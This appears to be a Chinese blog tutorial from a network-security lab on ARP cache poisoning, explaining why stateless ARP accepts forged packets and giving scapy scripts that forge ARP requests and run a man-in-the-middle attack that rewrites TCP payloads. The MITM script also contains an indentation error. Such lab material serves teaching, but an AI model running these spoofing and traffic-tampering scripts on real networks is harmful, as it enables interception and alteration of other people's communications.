MAC与ARP缓存中毒介绍

ARP 协议

用于地址解析,请求MAC地址。

image-20210106134003380

arp -a 或者 -n 查看ARP缓存表

image-20210105213737828

ls(ARP) 查看scapy里的协议字段

image-20210106141909538

ARP缓存中毒原理

ARP收到ARP请求报文,会将发送方的mac地址写入到自己的ARP缓存表。 --伪造ARP请求报文

ARP无状态,无法判断响应是不是请求的结果,即使没有请求,也可以收到响应。

即使不是对这个请求的响应,也会更新自己的cache。 --伪造ARP响应报文

from scapy.all import *

DS_MAC='FF:FF:FF:FF:FF:FF'
DS_IP ='10.0.2.5'

VIM_MAC='aa:bb:cc:dd:ee:ff'
VIM_IP='10.0.2.99'

e=Ether()
e.dst=DS_MAC
e.src=VIM_MAC

a=ARP()
a.op=1
a.hwsrc=VIM_MAC
a.psrc=VIM_IP
a.hwdst=DS_MAC
a.pdst=DS_IP

frame=e/a
sendp(frame)


op为1表示请求包,响应包为2

ARP 缓存中毒 实现中间人攻击

image-20210106123324473

注意:需要 sudo sysctl net.ipv4.ip_forward=0

先进行ARP缓存的中毒,这样二者通信的数据包可通过攻击者,然后攻击者再进行修改TCP报文。

from scapy.all import *

def spoof_pkt(pkt):
        if pkt[IP].src=='10.0.2.4' and pkt[IP].dst =='10.0.2.5' and pkt[TCP].payload:
            data = pkt[TCP].payload.load

            newpkt = pkt[IP]
            del(newpkt.chksum)
            del(newpkt[TCP].chksum)
            del(newpkt[TCP].payload)

            newdata = data.replace(b'hello',b'hacker')
            newpkt = newpkt/newdata
            send(newpkt,verbose=0)
            
       elif pkt[IP].src=='10.0.2.5' and pkt[IP].dst == '10.0.2.4':
            newpkt=pkt[IP]
            send(newpkt,verbose=0)
            
            
pkt = sniff(filter='tcp',prn=spoof_pkt)

posted @ 2021-01-08 17:03  PsgQ  阅读(291)  评论(0编辑  收藏  举报